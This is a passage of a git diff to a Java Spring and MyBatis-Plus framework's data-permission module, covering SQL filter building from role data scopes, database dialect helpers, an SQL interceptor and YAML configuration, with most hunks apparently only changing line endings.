SQL 语句 + * + * @param dataPermission 数据权限注解 + * @param isSelect 标志当前操作是否为查询操作,查询操作和更新或删除操作在处理过滤条件时会有不同的处理方式 + * @return 构建的数据过滤条件的 SQL 语句 + * @throws ServiceException 如果角色的数据范围异常或者 key 与 value 的长度不匹配,则抛出 ServiceException 异常 + */ + private String buildDataFilter(DataPermission dataPermission, boolean isSelect) { + // 更新或删除需满足所有条件 + String joinStr = isSelect ? " OR " : " AND "; + if (StringUtils.isNotBlank(dataPermission.joinStr())) { + joinStr = " " + dataPermission.joinStr() + " "; + } + LoginUser user = DataPermissionHelper.getVariable("user"); + StandardEvaluationContext context = new StandardEvaluationContext(); + context.setBeanResolver(beanResolver); + DataPermissionHelper.getContext().forEach(context::setVariable); + Set conditions = new HashSet<>(); + for (RoleDTO role : user.getRoles()) { + user.setRoleId(role.getRoleId()); + // 获取角色权限泛型 + DataScopeType type = DataScopeType.findCode(role.getDataScope()); + if (ObjectUtil.isNull(type)) { + throw new ServiceException("角色数据范围异常 => " + role.getDataScope()); + } + // 全部数据权限直接返回 + if (type == DataScopeType.ALL) { + return ""; + } + boolean isSuccess = false; + List keys = new ArrayList<>(); + for (DataColumn dataColumn : dataPermission.value()) { + if (dataColumn.key().length != dataColumn.value().length) { + throw new ServiceException("角色数据范围异常 => key与value长度不匹配"); + } + // 设置注解变量 key 为表达式变量 value 为变量值 + for (int i = 0; i < dataColumn.key().length; i++) { + context.setVariable(dataColumn.key()[i], dataColumn.value()[i]); + } + keys.addAll(Arrays.stream(dataColumn.key()).map(key -> "#" + key).toList()); + } + for (DataColumn dataColumn : dataPermission.value()) { + // 不包含 key 变量 则不处理 + if (!StringUtils.containsAny(type.getSqlTemplate(), keys.toArray(String[]::new))) { + continue; + } + // 包含权限标识符 这直接跳过 + if (StringUtils.isNotBlank(dataColumn.permission()) && + CollUtil.contains(user.getMenuPermission(), dataColumn.permission()) + ) { + // 修复多角色与权限标识符共用问题 https://gitee.com/dromara/RuoYi-Vue-Plus/issues/IB4CS4 + conditions.add(joinStr + " 1 = 1 "); + isSuccess = true; + continue; + } + + // 忽略数据权限 防止spel表达式内有其他sql查询导致死循环调用 + String sql = DataPermissionHelper.ignore(() -> + parser.parseExpression(type.getSqlTemplate(), parserContext).getValue(context, String.class) + ); + // 解析sql模板并填充 + conditions.add(joinStr + sql); + isSuccess = true; + } + // 未处理成功则填充兜底方案 + if (!isSuccess && StringUtils.isNotBlank(type.getElseSql())) { + conditions.add(joinStr + type.getElseSql()); + } + } + + if (CollUtil.isNotEmpty(conditions)) { + String sql = StreamUtils.join(conditions, Function.identity(), ""); + return sql.substring(joinStr.length()); + } + return ""; + } + + /** + * 扫描指定包下的 Mapper 类,并查找其中带有特定注解的方法或类 + * + * @param mapperPackage Mapper 类所在的包路径 + */ + private void scanMapperClasses(String mapperPackage) { + // 创建资源解析器和元数据读取工厂 + PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver(); + CachingMetadataReaderFactory factory = new CachingMetadataReaderFactory(); + // 将 Mapper 包路径按分隔符拆分为数组 + String[] packagePatternArray = StringUtils.splitPreserveAllTokens(mapperPackage, ConfigurableApplicationContext.CONFIG_LOCATION_DELIMITERS); + String classpath = ResourcePatternResolver.CLASSPATH_ALL_URL_PREFIX; + try { + for (String packagePattern : packagePatternArray) { + // 将包路径转换为资源路径 + String path = ClassUtils.convertClassNameToResourcePath(packagePattern); + // 获取指定路径下的所有 .class 文件资源 + Resource[] resources = resolver.getResources(classpath + path + "/*.class"); + for (Resource resource : resources) { + // 获取资源的类元数据 + ClassMetadata classMetadata = factory.getMetadataReader(resource).getClassMetadata(); + // 获取资源对应的类对象 + Class clazz = Resources.classForName(classMetadata.getClassName()); + // 查找类中的特定注解 + if (AnnotationUtil.hasAnnotation(clazz, DataPermission.class)) { + DataPermission dataPermission = AnnotationUtil.getAnnotation(clazz, DataPermission.class); + dataPermissionCacheMap.put(clazz.getName(), dataPermission); + } + } + } + } catch (Exception e) { + log.error("初始化数据安全缓存时出错:{}", e.getMessage()); + } + } + + /** + * 根据映射语句 ID 或类名获取对应的 DataPermission 注解对象 + * + * @param mapperId 映射语句 ID + * @return DataPermission 注解对象,如果不存在则返回 null + */ + public DataPermission getDataPermission(String mapperId) { + // 检查上下文中是否包含映射语句 ID 对应的 DataPermission 注解对象 + if (DataPermissionHelper.getPermission() != null) { + return DataPermissionHelper.getPermission(); + } + // 如果缓存中不包含映射语句 ID 对应的 DataPermission 注解对象,则尝试使用类名作为键查找 + String clazzName = mapperId.substring(0, mapperId.lastIndexOf(".")); + if (dataPermissionCacheMap.containsKey(clazzName)) { + return dataPermissionCacheMap.get(clazzName); + } + return null; + } + + /** + * 检查给定的映射语句 ID 是否有效,即是否能够找到对应的 DataPermission 注解对象 + * + * @param mapperId 映射语句 ID + * @return 如果找到对应的 DataPermission 注解对象,则返回 false;否则返回 true + */ + public boolean invalid(String mapperId) { + return getDataPermission(mapperId) == null; + } + +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/helper/DataBaseHelper.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/helper/DataBaseHelper.java index cd43c68..a7002d3 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/helper/DataBaseHelper.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/helper/DataBaseHelper.java @@ -1,81 +1,81 @@ -package org.dromara.common.mybatis.helper; - -import cn.hutool.core.convert.Convert; -import com.baomidou.dynamic.datasource.DynamicRoutingDataSource; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.mybatis.enums.DataBaseType; - -import javax.sql.DataSource; -import java.sql.Connection; -import java.sql.DatabaseMetaData; -import java.sql.SQLException; -import java.util.ArrayList; -import java.util.List; - -/** - * 数据库助手 - * - * @author Lion Li - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class DataBaseHelper { - - private static final DynamicRoutingDataSource DS = SpringUtils.getBean(DynamicRoutingDataSource.class); - - /** - * 获取当前数据库类型 - */ - public static DataBaseType getDataBaseType() { - DataSource dataSource = DS.determineDataSource(); - try (Connection conn = dataSource.getConnection()) { - DatabaseMetaData metaData = conn.getMetaData(); - String databaseProductName = metaData.getDatabaseProductName(); - return DataBaseType.find(databaseProductName); - } catch (SQLException e) { - throw new ServiceException(e.getMessage()); - } - } - - public static boolean isMySql() { - return DataBaseType.MY_SQL == getDataBaseType(); - } - - public static boolean isOracle() { - return DataBaseType.ORACLE == getDataBaseType(); - } - - public static boolean isPostgerSql() { - return DataBaseType.POSTGRE_SQL == getDataBaseType(); - } - - public static boolean isSqlServer() { - return DataBaseType.SQL_SERVER == getDataBaseType(); - } - - public static String findInSet(Object var1, String var2) { - DataBaseType dataBasyType = getDataBaseType(); - String var = Convert.toStr(var1); - if (dataBasyType == DataBaseType.SQL_SERVER) { - // charindex(',100,' , ',0,100,101,') <> 0 - return "charindex(',%s,' , ','+%s+',') <> 0".formatted(var, var2); - } else if (dataBasyType == DataBaseType.POSTGRE_SQL) { - // (select strpos(',0,100,101,' , ',100,')) <> 0 - return "(select strpos(','||%s||',' , ',%s,')) <> 0".formatted(var2, var); - } else if (dataBasyType == DataBaseType.ORACLE) { - // instr(',0,100,101,' , ',100,') <> 0 - return "instr(','||%s||',' , ',%s,') <> 0".formatted(var2, var); - } - // find_in_set(100 , '0,100,101') - return "find_in_set('%s' , %s) <> 0".formatted(var, var2); - } - - /** - * 获取当前加载的数据库名 - */ - public static List getDataSourceNameList() { - return new ArrayList<>(DS.getDataSources().keySet()); - } -} +package org.dromara.common.mybatis.helper; + +import cn.hutool.core.convert.Convert; +import com.baomidou.dynamic.datasource.DynamicRoutingDataSource; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.mybatis.enums.DataBaseType; + +import javax.sql.DataSource; +import java.sql.Connection; +import java.sql.DatabaseMetaData; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.List; + +/** + * 数据库助手 + * + * @author Lion Li + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class DataBaseHelper { + + private static final DynamicRoutingDataSource DS = SpringUtils.getBean(DynamicRoutingDataSource.class); + + /** + * 获取当前数据库类型 + */ + public static DataBaseType getDataBaseType() { + DataSource dataSource = DS.determineDataSource(); + try (Connection conn = dataSource.getConnection()) { + DatabaseMetaData metaData = conn.getMetaData(); + String databaseProductName = metaData.getDatabaseProductName(); + return DataBaseType.find(databaseProductName); + } catch (SQLException e) { + throw new ServiceException(e.getMessage()); + } + } + + public static boolean isMySql() { + return DataBaseType.MY_SQL == getDataBaseType(); + } + + public static boolean isOracle() { + return DataBaseType.ORACLE == getDataBaseType(); + } + + public static boolean isPostgerSql() { + return DataBaseType.POSTGRE_SQL == getDataBaseType(); + } + + public static boolean isSqlServer() { + return DataBaseType.SQL_SERVER == getDataBaseType(); + } + + public static String findInSet(Object var1, String var2) { + DataBaseType dataBasyType = getDataBaseType(); + String var = Convert.toStr(var1); + if (dataBasyType == DataBaseType.SQL_SERVER) { + // charindex(',100,' , ',0,100,101,') <> 0 + return "charindex(',%s,' , ','+%s+',') <> 0".formatted(var, var2); + } else if (dataBasyType == DataBaseType.POSTGRE_SQL) { + // (select strpos(',0,100,101,' , ',100,')) <> 0 + return "(select strpos(','||%s||',' , ',%s,')) <> 0".formatted(var2, var); + } else if (dataBasyType == DataBaseType.ORACLE) { + // instr(',0,100,101,' , ',100,') <> 0 + return "instr(','||%s||',' , ',%s,') <> 0".formatted(var2, var); + } + // find_in_set(100 , '0,100,101') + return "find_in_set('%s' , %s) <> 0".formatted(var, var2); + } + + /** + * 获取当前加载的数据库名 + */ + public static List getDataSourceNameList() { + return new ArrayList<>(DS.getDataSources().keySet()); + } +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/helper/DataPermissionHelper.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/helper/DataPermissionHelper.java index f03d74e..05e784f 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/helper/DataPermissionHelper.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/helper/DataPermissionHelper.java @@ -1,176 +1,176 @@ -package org.dromara.common.mybatis.helper; - -import cn.dev33.satoken.context.SaHolder; -import cn.dev33.satoken.context.model.SaStorage; -import cn.hutool.core.collection.CollectionUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.plugins.IgnoreStrategy; -import com.baomidou.mybatisplus.core.plugins.InterceptorIgnoreHelper; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.reflect.ReflectUtils; -import org.dromara.common.mybatis.annotation.DataPermission; - -import java.util.HashMap; -import java.util.Map; -import java.util.Stack; -import java.util.function.Supplier; - -/** - * 数据权限助手 - * - * @author Lion Li - * @version 3.5.0 - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -@SuppressWarnings("unchecked cast") -public class DataPermissionHelper { - - private static final String DATA_PERMISSION_KEY = "data:permission"; - - private static final ThreadLocal> REENTRANT_IGNORE = ThreadLocal.withInitial(Stack::new); - - private static final ThreadLocal PERMISSION_CACHE = new ThreadLocal<>(); - - /** - * 获取当前执行mapper权限注解 - * - * @return 返回当前执行mapper权限注解 - */ - public static DataPermission getPermission() { - return PERMISSION_CACHE.get(); - } - - /** - * 设置当前执行mapper权限注解 - * - * @param dataPermission 数据权限注解 - */ - public static void setPermission(DataPermission dataPermission) { - PERMISSION_CACHE.set(dataPermission); - } - - /** - * 删除当前执行mapper权限注解 - */ - public static void removePermission() { - PERMISSION_CACHE.remove(); - } - - /** - * 从上下文中获取指定键的变量值,并将其转换为指定的类型 - * - * @param key 变量的键 - * @param 变量值的类型 - * @return 指定键的变量值,如果不存在则返回 null - */ - public static T getVariable(String key) { - Map context = getContext(); - return (T) context.get(key); - } - - /** - * 向上下文中设置指定键的变量值 - * - * @param key 要设置的变量的键 - * @param value 要设置的变量值 - */ - public static void setVariable(String key, Object value) { - Map context = getContext(); - context.put(key, value); - } - - /** - * 获取数据权限上下文 - * - * @return 存储在SaStorage中的Map对象,用于存储数据权限相关的上下文信息 - * @throws NullPointerException 如果数据权限上下文类型异常,则抛出NullPointerException - */ - public static Map getContext() { - SaStorage saStorage = SaHolder.getStorage(); - Object attribute = saStorage.get(DATA_PERMISSION_KEY); - if (ObjectUtil.isNull(attribute)) { - saStorage.set(DATA_PERMISSION_KEY, new HashMap<>()); - attribute = saStorage.get(DATA_PERMISSION_KEY); - } - if (attribute instanceof Map map) { - return map; - } - throw new NullPointerException("data permission context type exception"); - } - - private static IgnoreStrategy getIgnoreStrategy() { - Object ignoreStrategyLocal = ReflectUtils.getStaticFieldValue(ReflectUtils.getField(InterceptorIgnoreHelper.class, "IGNORE_STRATEGY_LOCAL")); - if (ignoreStrategyLocal instanceof ThreadLocal IGNORE_STRATEGY_LOCAL) { - if (IGNORE_STRATEGY_LOCAL.get() instanceof IgnoreStrategy ignoreStrategy) { - return ignoreStrategy; - } - } - return null; - } - - /** - * 开启忽略数据权限(开启后需手动调用 {@link #disableIgnore()} 关闭) - */ - public static void enableIgnore() { - IgnoreStrategy ignoreStrategy = getIgnoreStrategy(); - if (ObjectUtil.isNull(ignoreStrategy)) { - InterceptorIgnoreHelper.handle(IgnoreStrategy.builder().dataPermission(true).build()); - } else { - ignoreStrategy.setDataPermission(true); - } - Stack reentrantStack = REENTRANT_IGNORE.get(); - reentrantStack.push(reentrantStack.size() + 1); - } - - /** - * 关闭忽略数据权限 - */ - public static void disableIgnore() { - IgnoreStrategy ignoreStrategy = getIgnoreStrategy(); - if (ObjectUtil.isNotNull(ignoreStrategy)) { - boolean noOtherIgnoreStrategy = !Boolean.TRUE.equals(ignoreStrategy.getDynamicTableName()) - && !Boolean.TRUE.equals(ignoreStrategy.getBlockAttack()) - && !Boolean.TRUE.equals(ignoreStrategy.getIllegalSql()) - && !Boolean.TRUE.equals(ignoreStrategy.getTenantLine()) - && CollectionUtil.isEmpty(ignoreStrategy.getOthers()); - Stack reentrantStack = REENTRANT_IGNORE.get(); - boolean empty = reentrantStack.isEmpty() || reentrantStack.pop() == 1; - if (noOtherIgnoreStrategy && empty) { - InterceptorIgnoreHelper.clearIgnoreStrategy(); - } else if (empty) { - ignoreStrategy.setDataPermission(false); - } - - } - } - - /** - * 在忽略数据权限中执行 - * - * @param handle 处理执行方法 - */ - public static void ignore(Runnable handle) { - enableIgnore(); - try { - handle.run(); - } finally { - disableIgnore(); - } - } - - /** - * 在忽略数据权限中执行 - * - * @param handle 处理执行方法 - */ - public static T ignore(Supplier handle) { - enableIgnore(); - try { - return handle.get(); - } finally { - disableIgnore(); - } - } - -} +package org.dromara.common.mybatis.helper; + +import cn.dev33.satoken.context.SaHolder; +import cn.dev33.satoken.context.model.SaStorage; +import cn.hutool.core.collection.CollectionUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.plugins.IgnoreStrategy; +import com.baomidou.mybatisplus.core.plugins.InterceptorIgnoreHelper; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.reflect.ReflectUtils; +import org.dromara.common.mybatis.annotation.DataPermission; + +import java.util.HashMap; +import java.util.Map; +import java.util.Stack; +import java.util.function.Supplier; + +/** + * 数据权限助手 + * + * @author Lion Li + * @version 3.5.0 + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +@SuppressWarnings("unchecked cast") +public class DataPermissionHelper { + + private static final String DATA_PERMISSION_KEY = "data:permission"; + + private static final ThreadLocal> REENTRANT_IGNORE = ThreadLocal.withInitial(Stack::new); + + private static final ThreadLocal PERMISSION_CACHE = new ThreadLocal<>(); + + /** + * 获取当前执行mapper权限注解 + * + * @return 返回当前执行mapper权限注解 + */ + public static DataPermission getPermission() { + return PERMISSION_CACHE.get(); + } + + /** + * 设置当前执行mapper权限注解 + * + * @param dataPermission 数据权限注解 + */ + public static void setPermission(DataPermission dataPermission) { + PERMISSION_CACHE.set(dataPermission); + } + + /** + * 删除当前执行mapper权限注解 + */ + public static void removePermission() { + PERMISSION_CACHE.remove(); + } + + /** + * 从上下文中获取指定键的变量值,并将其转换为指定的类型 + * + * @param key 变量的键 + * @param 变量值的类型 + * @return 指定键的变量值,如果不存在则返回 null + */ + public static T getVariable(String key) { + Map context = getContext(); + return (T) context.get(key); + } + + /** + * 向上下文中设置指定键的变量值 + * + * @param key 要设置的变量的键 + * @param value 要设置的变量值 + */ + public static void setVariable(String key, Object value) { + Map context = getContext(); + context.put(key, value); + } + + /** + * 获取数据权限上下文 + * + * @return 存储在SaStorage中的Map对象,用于存储数据权限相关的上下文信息 + * @throws NullPointerException 如果数据权限上下文类型异常,则抛出NullPointerException + */ + public static Map getContext() { + SaStorage saStorage = SaHolder.getStorage(); + Object attribute = saStorage.get(DATA_PERMISSION_KEY); + if (ObjectUtil.isNull(attribute)) { + saStorage.set(DATA_PERMISSION_KEY, new HashMap<>()); + attribute = saStorage.get(DATA_PERMISSION_KEY); + } + if (attribute instanceof Map map) { + return map; + } + throw new NullPointerException("data permission context type exception"); + } + + private static IgnoreStrategy getIgnoreStrategy() { + Object ignoreStrategyLocal = ReflectUtils.getStaticFieldValue(ReflectUtils.getField(InterceptorIgnoreHelper.class, "IGNORE_STRATEGY_LOCAL")); + if (ignoreStrategyLocal instanceof ThreadLocal IGNORE_STRATEGY_LOCAL) { + if (IGNORE_STRATEGY_LOCAL.get() instanceof IgnoreStrategy ignoreStrategy) { + return ignoreStrategy; + } + } + return null; + } + + /** + * 开启忽略数据权限(开启后需手动调用 {@link #disableIgnore()} 关闭) + */ + public static void enableIgnore() { + IgnoreStrategy ignoreStrategy = getIgnoreStrategy(); + if (ObjectUtil.isNull(ignoreStrategy)) { + InterceptorIgnoreHelper.handle(IgnoreStrategy.builder().dataPermission(true).build()); + } else { + ignoreStrategy.setDataPermission(true); + } + Stack reentrantStack = REENTRANT_IGNORE.get(); + reentrantStack.push(reentrantStack.size() + 1); + } + + /** + * 关闭忽略数据权限 + */ + public static void disableIgnore() { + IgnoreStrategy ignoreStrategy = getIgnoreStrategy(); + if (ObjectUtil.isNotNull(ignoreStrategy)) { + boolean noOtherIgnoreStrategy = !Boolean.TRUE.equals(ignoreStrategy.getDynamicTableName()) + && !Boolean.TRUE.equals(ignoreStrategy.getBlockAttack()) + && !Boolean.TRUE.equals(ignoreStrategy.getIllegalSql()) + && !Boolean.TRUE.equals(ignoreStrategy.getTenantLine()) + && CollectionUtil.isEmpty(ignoreStrategy.getOthers()); + Stack reentrantStack = REENTRANT_IGNORE.get(); + boolean empty = reentrantStack.isEmpty() || reentrantStack.pop() == 1; + if (noOtherIgnoreStrategy && empty) { + InterceptorIgnoreHelper.clearIgnoreStrategy(); + } else if (empty) { + ignoreStrategy.setDataPermission(false); + } + + } + } + + /** + * 在忽略数据权限中执行 + * + * @param handle 处理执行方法 + */ + public static void ignore(Runnable handle) { + enableIgnore(); + try { + handle.run(); + } finally { + disableIgnore(); + } + } + + /** + * 在忽略数据权限中执行 + * + * @param handle 处理执行方法 + */ + public static T ignore(Supplier handle) { + enableIgnore(); + try { + return handle.get(); + } finally { + disableIgnore(); + } + } + +} diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/interceptor/PlusDataPermissionInterceptor.java b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/interceptor/PlusDataPermissionInterceptor.java index 85a4d0a..498f7ea 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/interceptor/PlusDataPermissionInterceptor.java +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/java/org/dromara/common/mybatis/interceptor/PlusDataPermissionInterceptor.java @@ -1,181 +1,181 @@ -package org.dromara.common.mybatis.interceptor; - -import com.baomidou.mybatisplus.core.plugins.InterceptorIgnoreHelper; -import com.baomidou.mybatisplus.core.toolkit.PluginUtils; -import com.baomidou.mybatisplus.extension.plugins.handler.MultiDataPermissionHandler; -import com.baomidou.mybatisplus.extension.plugins.inner.BaseMultiTableInnerInterceptor; -import com.baomidou.mybatisplus.extension.plugins.inner.InnerInterceptor; -import lombok.extern.slf4j.Slf4j; -import net.sf.jsqlparser.expression.Expression; -import net.sf.jsqlparser.schema.Table; -import net.sf.jsqlparser.statement.delete.Delete; -import net.sf.jsqlparser.statement.select.PlainSelect; -import net.sf.jsqlparser.statement.select.Select; -import net.sf.jsqlparser.statement.select.SetOperationList; -import net.sf.jsqlparser.statement.update.Update; -import org.apache.ibatis.executor.Executor; -import org.apache.ibatis.executor.statement.StatementHandler; -import org.apache.ibatis.mapping.BoundSql; -import org.apache.ibatis.mapping.MappedStatement; -import org.apache.ibatis.mapping.SqlCommandType; -import org.apache.ibatis.session.ResultHandler; -import org.apache.ibatis.session.RowBounds; -import org.dromara.common.mybatis.handler.PlusDataPermissionHandler; - -import java.sql.Connection; -import java.sql.SQLException; -import java.util.List; - -/** - * 数据权限拦截器 - * - * @author Lion Li - * @version 3.5.0 - */ -@Slf4j -public class PlusDataPermissionInterceptor extends BaseMultiTableInnerInterceptor implements InnerInterceptor { - - private final PlusDataPermissionHandler dataPermissionHandler; - - /** - * 构造函数,初始化 PlusDataPermissionHandler 实例 - * - * @param mapperPackage 扫描的映射器包 - */ - public PlusDataPermissionInterceptor(String mapperPackage) { - this.dataPermissionHandler = new PlusDataPermissionHandler(mapperPackage); - } - - /** - * 在执行查询之前,检查并处理数据权限相关逻辑 - * - * @param executor MyBatis 执行器对象 - * @param ms 映射语句对象 - * @param parameter 方法参数 - * @param rowBounds 分页对象 - * @param resultHandler 结果处理器 - * @param boundSql 绑定的 SQL 对象 - * @throws SQLException 如果发生 SQL 异常 - */ - @Override - public void beforeQuery(Executor executor, MappedStatement ms, Object parameter, RowBounds rowBounds, ResultHandler resultHandler, BoundSql boundSql) throws SQLException { - // 检查是否需要忽略数据权限处理 - if (InterceptorIgnoreHelper.willIgnoreDataPermission(ms.getId())) { - return; - } - // 检查是否缺少有效的数据权限注解 - if (dataPermissionHandler.invalid(ms.getId())) { - return; - } - // 解析 sql 分配对应方法 - PluginUtils.MPBoundSql mpBs = PluginUtils.mpBoundSql(boundSql); - mpBs.sql(parserSingle(mpBs.sql(), ms.getId())); - } - - /** - * 在准备 SQL 语句之前,检查并处理更新和删除操作的数据权限相关逻辑 - * - * @param sh MyBatis StatementHandler 对象 - * @param connection 数据库连接对象 - * @param transactionTimeout 事务超时时间 - */ - @Override - public void beforePrepare(StatementHandler sh, Connection connection, Integer transactionTimeout) { - PluginUtils.MPStatementHandler mpSh = PluginUtils.mpStatementHandler(sh); - MappedStatement ms = mpSh.mappedStatement(); - // 获取 SQL 命令类型(增、删、改、查) - SqlCommandType sct = ms.getSqlCommandType(); - - // 只处理更新和删除操作的 SQL 语句 - if (sct == SqlCommandType.UPDATE || sct == SqlCommandType.DELETE) { - if (InterceptorIgnoreHelper.willIgnoreDataPermission(ms.getId())) { - return; - } - // 检查是否缺少有效的数据权限注解 - if (dataPermissionHandler.invalid(ms.getId())) { - return; - } - PluginUtils.MPBoundSql mpBs = mpSh.mPBoundSql(); - mpBs.sql(parserMulti(mpBs.sql(), ms.getId())); - } - } - - /** - * 处理 SELECT 查询语句中的 WHERE 条件 - * - * @param select SELECT 查询对象 - * @param index 查询语句的索引 - * @param sql 查询语句 - * @param obj WHERE 条件参数 - */ - @Override - protected void processSelect(Select select, int index, String sql, Object obj) { - if (select instanceof PlainSelect) { - this.setWhere((PlainSelect) select, (String) obj); - } else if (select instanceof SetOperationList setOperationList) { - List selectBodyList = setOperationList.getSelects(); + selectBodyList.forEach(s -> this.setWhere((PlainSelect) s, (String) obj)); + } + } + + /** + * 处理 UPDATE 语句中的 WHERE 条件 + * + * @param update UPDATE 查询对象 + * @param index 查询语句的索引 + * @param sql 查询语句 + * @param obj WHERE 条件参数 + */ + @Override + protected void processUpdate(Update update, int index, String sql, Object obj) { + Expression sqlSegment = dataPermissionHandler.getSqlSegment(update.getWhere(), (String) obj, false); + if (null != sqlSegment) { + update.setWhere(sqlSegment); + } + } + + /** + * 处理 DELETE 语句中的 WHERE 条件 + * + * @param delete DELETE 查询对象 + * @param index 查询语句的索引 + * @param sql 查询语句 + * @param obj WHERE 条件参数 + */ + @Override + protected void processDelete(Delete delete, int index, String sql, Object obj) { + Expression sqlSegment = dataPermissionHandler.getSqlSegment(delete.getWhere(), (String) obj, false); + if (null != sqlSegment) { + delete.setWhere(sqlSegment); + } + } + + /** + * 设置 SELECT 语句的 WHERE 条件 + * + * @param plainSelect SELECT 查询对象 + * @param mappedStatementId 映射语句的 ID + */ + protected void setWhere(PlainSelect plainSelect, String mappedStatementId) { + Expression sqlSegment = dataPermissionHandler.getSqlSegment(plainSelect.getWhere(), mappedStatementId, true); + if (null != sqlSegment) { + plainSelect.setWhere(sqlSegment); + } + } + + /** + * 构建表达式,用于处理表的数据权限 + * + * @param table 表对象 + * @param where WHERE 条件表达式 + * @param whereSegment WHERE 条件片段 + * @return 构建的表达式 + */ + @Override + public Expression buildTableExpression(Table table, Expression where, String whereSegment) { + // 只有新版数据权限处理器才会执行到这里 + final MultiDataPermissionHandler handler = (MultiDataPermissionHandler) dataPermissionHandler; + return handler.getSqlSegment(table, where, whereSegment); + } +} + diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-mybatis/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index cc625da..00bf8f2 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.mybatis.config.MybatisPlusConfig +org.dromara.common.mybatis.config.MybatisPlusConfig diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/resources/common-mybatis.yml b/ruoyi-common/ruoyi-common-mybatis/src/main/resources/common-mybatis.yml index 14662e1..d195945 100644 --- a/ruoyi-common/ruoyi-common-mybatis/src/main/resources/common-mybatis.yml +++ b/ruoyi-common/ruoyi-common-mybatis/src/main/resources/common-mybatis.yml @@ -1,33 +1,33 @@ -# 内置配置 不允许修改 如需修改请在 nacos 上写相同配置覆盖 -# MyBatisPlus配置 -# https://baomidou.com/config/ -mybatis-plus: - # 启动时是否检查 MyBatis XML 文件的存在,默认不检查 - checkConfigLocation: false - configuration: - # 自动驼峰命名规则(camel case)映射 - mapUnderscoreToCamelCase: true - # MyBatis 自动映射策略 - # NONE:不启用 PARTIAL:只对非嵌套 resultMap 自动映射 FULL:对所有 resultMap 自动映射 - autoMappingBehavior: FULL - # MyBatis 自动映射时未知列或未知属性处理策 - # NONE:不做处理 WARNING:打印相关警告 FAILING:抛出异常和详细信息 - autoMappingUnknownColumnBehavior: NONE - # 更详细的日志输出 会有性能损耗 org.apache.ibatis.logging.stdout.StdOutImpl - # 关闭日志记录 (可单纯使用 p6spy 分析) org.apache.ibatis.logging.nologging.NoLoggingImpl - # 默认日志输出 org.apache.ibatis.logging.slf4j.Slf4jImpl - logImpl: org.apache.ibatis.logging.nologging.NoLoggingImpl - global-config: - # 是否打印 Logo banner - banner: true - dbConfig: - # 主键类型 - # AUTO 自增 NONE 空 INPUT 用户输入 ASSIGN_ID 雪花 ASSIGN_UUID 唯一 UUID - idType: ASSIGN_ID - # 逻辑已删除值(可按需求随意修改) - logicDeleteValue: 1 - # 逻辑未删除值 - logicNotDeleteValue: 0 - insertStrategy: NOT_NULL - updateStrategy: NOT_NULL - whereStrategy: NOT_NULL +# 内置配置 不允许修改 如需修改请在 nacos 上写相同配置覆盖 +# MyBatisPlus配置 +# https://baomidou.com/config/ +mybatis-plus: + # 启动时是否检查 MyBatis XML 文件的存在,默认不检查 + checkConfigLocation: false + configuration: + # 自动驼峰命名规则(camel case)映射 + mapUnderscoreToCamelCase: true + # MyBatis 自动映射策略 + # NONE:不启用 PARTIAL:只对非嵌套 resultMap 自动映射 FULL:对所有 resultMap 自动映射 + autoMappingBehavior: FULL + # MyBatis 自动映射时未知列或未知属性处理策 + # NONE:不做处理 WARNING:打印相关警告 FAILING:抛出异常和详细信息 + autoMappingUnknownColumnBehavior: NONE + # 更详细的日志输出 会有性能损耗 org.apache.ibatis.logging.stdout.StdOutImpl + # 关闭日志记录 (可单纯使用 p6spy 分析) org.apache.ibatis.logging.nologging.NoLoggingImpl + # 默认日志输出 org.apache.ibatis.logging.slf4j.Slf4jImpl + logImpl: org.apache.ibatis.logging.nologging.NoLoggingImpl + global-config: + # 是否打印 Logo banner + banner: true + dbConfig: + # 主键类型 + # AUTO 自增 NONE 空 INPUT 用户输入 ASSIGN_ID 雪花 ASSIGN_UUID 唯一 UUID + idType: ASSIGN_ID + # 逻辑已删除值(可按需求随意修改) + logicDeleteValue: 1 + # 逻辑未删除值 + logicNotDeleteValue: 0 + insertStrategy: NOT_NULL + updateStrategy: NOT_NULL + whereStrategy: NOT_NULL diff --git a/ruoyi-common/ruoyi-common-mybatis/src/main/resources/spy.properties 